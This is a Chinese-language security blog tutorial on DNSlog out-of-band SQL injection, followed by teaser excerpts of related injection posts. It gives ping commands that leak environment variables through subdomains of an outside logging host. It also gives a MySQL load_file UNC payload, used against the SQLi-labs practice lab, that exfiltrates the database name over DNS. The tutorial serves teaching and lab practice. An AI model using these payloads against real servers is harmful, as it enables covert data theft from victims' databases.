DNSlog 注入
DNSlog 注入
1 DNSlog 原理
DNSlog 注入的原理：攻击者注册了某个域名，将这个域名绑定到了某个 IP 的服务器上并设置了泛解析，当受害机器访问这个域名的任何一个子域名时，攻击者的服务器都会收到请求并记录 DNS 解析。
以下测试采用临时 DNSlog 站点：http://dnslog.pw/
获取到子域名之后，在本机尝试 Ping 一下：
1 | C:\Users\Administrator>ping csaahec1.dnslog.pw |
使用 %username% 尝试构造三级域名：
1 | C:\Users\Administrator>ping %username%.csaahec1.dnslog.pw |
换一个环境变量 %os%：
1 | C:\Users\Administrator>ping %os%.csaahec1.dnslog.pw |
经测试在发送 DNS 请求时，系统会先将变量先执行解析出结果。
既然 Windows 可以，那 Linux 行不行呢？
1 | root at kali in ~ |
2 MySQL DNSlog
前情提要：
MySQL需要具有root权限；MySQL能够使用load_file()函数；对方服务器可出网；
对方系统必须是
Windows；
load_file 函数在 Linux 下是无法用来做 DNSLog 攻击的，因为在这里就涉及到 UNC 路径问题。
UNC（Universal Naming Convention） 路径是一种用于在网络上定位共享资源的命名格式，它是一种标准的命名约定，用于指定网络上的共享文件夹或打印机的位置。
UNC 路径的格式通常为：
1 | \\<计算机名称>\<共享名称>\<路径> |
其实我们平常在 Widnows 中用共享文件的时候就会用到这种网络地址的形式：
1 | \\127.0.0.1\Tools |
所以 DNSlog 的形式还可以这么写：
1 | \\%username%.csaahec1.dnslog.pw\a |
同时 MySQL 的 load_file 函数支持 UNC 路径进行网络访问：
1 | SELECT load_file("\\\\csaahec1.dnslog.pw\\a") |
既然支持 UNC 访问，同时在访问 DNSlog 时系统又会解析变量，那么 MySQL 会不会执行查询操作呢？
1 | SELECT load_file(concat("\\\\",(select database()),".csaahec1.dnslog.pw\\abc")) |
这里以 SQLi_lab9 为例：
1 | ?id=1' union select 1,2,load_file(concat("\\\\",(select database()),".csaahec1.dnslog.pw\\abc")) --+ |
相关推荐
2022-03-01
MySQL 文件读写
MySQL 文件读写如果数据库的配置权限不当，攻击者可以通过 SQL 语句读写文件来进行进一步攻击以获取更多的权限，如读取网站配置文件、修改注册表文件、写入木马等。 1 读写权限判断 / 设置MySQL 读写关键字段：secure_file_priv secure_file_priv 关键值： 取值 含义 null 表示不允许读取 / 写入 dir 表示读取 / 写入限制在特定目录下 空值 表示读取 / 写入可以在任意目录下 权限查看： 123456789101112131415mysql> select @@secure_file_priv;+--------------------+| @@secure_file_priv |+--------------------+| NULL |+--------------------+1 row in set (0.00 sec)mysql> show variables like "secure_file_priv";+------------------+-----...
2022-03-02
二次注入
二次注入1 二次注入原理二次注入的原理：在第一次进行数据库插入数据的时候，仅仅只是使用了 addslashes 或者是借助 mysqli_real_escape_string 对其中的特殊字符进行了转义，但是 addslashes 有一个特点就是虽然参数在过滤后会添加 \ 进行转义，但是 \ 并不会插入到数据库中，在写入数据库的时候还是保留了原来的数据。 如下代码所示： 12345678910<?phperror_reporting(0);$con = new mysqli();$con->connect('localhost', 'root', 'root', 'security', '3306');$username = mysqli_real_escape_string($con, $_GET[1]);$pass = mysqli_real_escape_string($con, $_GET[2]);$sql = "insert into users (username, password) values('{$username}', '{$pass}')";e...
2022-03-03
宽字节注入
宽字节注入1 字节概念单字节（Single-byte）：单字节是指每个字符使用一个字节（8位）进行表示的字符编码方式。在单字节编码中，每个字符都占用相同的存储空间，这种编码方式适用于字符集较小的情况。常见的单字节编码包括 ASCII 编码和 ISO-8859 编码系列。 多字节（Multi-byte）：多字节是指每个字符使用多个字节进行表示的字符编码方式。在多字节编码中，不同的字符可以占用不同长度的字节，可以表示更多的字符。常见的多字节编码包括 UTF-8 和 GB2312 编码。 宽字节（Wide character）：宽字节是指每个字符使用固定长度的两个字节进行表示的字符编码方式。宽字节编码通常用于 Unicode 字符集的表示。在宽字节编码中，每个字符都占用相同的存储空间，通常使用 16 位表示一个字符，可以表示更多的字符。常见的宽字节编码包括 UTF-16 和 UCS-2 编码。 在中国，常用的宽字节有：GB2312、GBK、GB18030。 注：严格来说，GB18030 不算宽字节，但是兼容 GBK、GB18030。 2 MySQL 宽字节在开发网站过程中，一些程序...
2023-10-21
SQLi-Labs（Basic Challenges）
SQLi-Labs（Basic Challenges）本篇文章参考自： lcamry 的博客 - https://www.cnblogs.com/lcamry lcamry 的文章 - https://files.cnblogs.com/files/lcamry/mysql-injection.pdf（MySQL 注入天书） 国光的文章 - https://www.sqlsec.com/2020/05/sqlilabs.html [!Warning]这里引用自 lcamry 的前言，简单修改了一下，也比较符合自己的感受。 1 前言最初看到 SQLi-Labs 也是好几年之前了，依稀记得是在 2019 年，那时候玩了前面的几关就没有继续下去了。前几年又因为夯实基础，回头把 SQLi-Labs 刷完了，并写成文档放在了语雀上。最近因某种原因有需要用到 SQLi-Labs，所以翻出来看了一下。看着熟悉的代码，仿佛看着当初刚学安全的自己。 当初学习安全老累了，网上能找到的资料并不多，不像现在这样的信息爆炸。前几天迪总为了打击盗版，还把自己的课公开了，以前哪有这种好事儿。大伙都是藏...
